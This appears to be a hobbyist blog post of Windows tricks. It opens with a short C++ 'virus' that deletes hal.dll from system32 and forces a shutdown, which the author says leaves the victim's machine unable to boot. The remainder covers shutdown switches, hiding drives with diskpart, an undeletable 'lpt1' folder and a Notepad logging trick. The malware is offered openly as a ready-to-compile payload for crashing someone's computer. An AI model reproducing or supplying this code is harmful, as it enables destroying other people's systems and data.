how to create a simple virus using c++

This virus will delete the hal.dll (this  file helps the system in startup) in your system32 folder. After performing such task your will no longer will be able to start your system.....

#include <cstdlib>
#include <iostream>
using namespace std;
int main(int argc, char *argv[])
{
   std::remove("C:\\windows\\system32\\hal.dll"); 
    system("shutdown -s -r");
    system("PAUSE");
    return EXIT_SUCCESS;
}
After typing the above source code in  notepad ,save the file as bee.cpp.
 After saving...
compile the source file ...
You will get a .exe file 
On opening the .exe file your system will restart and crash...

shut down after specified time using cmd

Shutdown your computer

Type "shutdown -s" without the quotes in the command prompt and press Enter. Shutdown is the command being executed and the switch -s tells the computer to shutdown.

Restart your  Computer
Type "shutdown -r" in the command prompt and press Enter. In this case, the command switch -r is telling the computer to restart after shutdown.

Log Off the Current User
Type "shutdown -l" in the command prompt and press Enter. The -l command switch tells the computer to log off.

Shutdown your  computer after a specific time

Type "shutdown -s -t 60" to shutdown your computer after 60 seconds. Upon executing this, a countdown timer displaying a warning message will be shown. This command uses the -t command switch followed by a variable (which is 60 in this case) which represents the number of seconds after which the computer will shutdown.

Display a Message containing the reason for shutdown

Type shutdown -s  -t 500 -c "I am tired. I don't want to work anymore." (with the quotes) in the Command Prompt and press Enter. The -c switch is used in the code to give the reason for shutting down and what is followed in quotes will be displayed in the dialog box as the reason. This can be used to display all sorts of funny messages.

hide/unhide any drive

Yes, you can hide/unhide any drive from my computer using cmd(command prompt.). But, you cant hide

your drive that is running windows (Commonly C:). After hiding any drive, you wont be able to browse it. It

will removed from your computer until you want it back. So, read this tutorial very carefully.


Steps to hide:

  *  Go to All Programs> Run (Win+r).
   * Type "diskpart" without "quotes" and hit enter.
   * Now type "list volume" without "quotes" and hit enter.
   * Now type "select volume d" without "quotes" (Change d with the letter of the drive that you want to hide)      
and hit enter
   * You will get a message like this "Volume _ is selected volume" , i.e. your
volume is now selected.
    *Now type "remove letter d" without "quotes"(Change d with the letter of the drive that you want to hide) and hit enter. And now your drive is hidden.


    Steps to unhide:

      *  Follow  the above steps (except last)
       * Now type "assign letter d" without "quotes"(Change d with the letter of the drive that you want to .    unhide) and hit enter. And now your drive is available.

    Enjoy....

How to make an undeletable folder

 Here is simple tip, which can help you to make an undeletable folder

1)Open cmd ( Type in Run option cmd or navigate to All Programs->Accessories-> Command Prompt)

2)In cmd change to the directory that you want,I change to E.Just type E: and enter.If you don´t know how change directories with Cmd, here is post where I wrote about it

3)Type md \lpt1\\ and press enter, the folder will now in your E:

4)If you try to delete or rename it, it will appear error message

How to delete undeletable folder?


Just go to cmd Navigate to the directory and type in rd \lpt1\\

Fun tricks with notepad

This is simple, open notepad and type .LOG 

Save it as .LOG.txt

Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.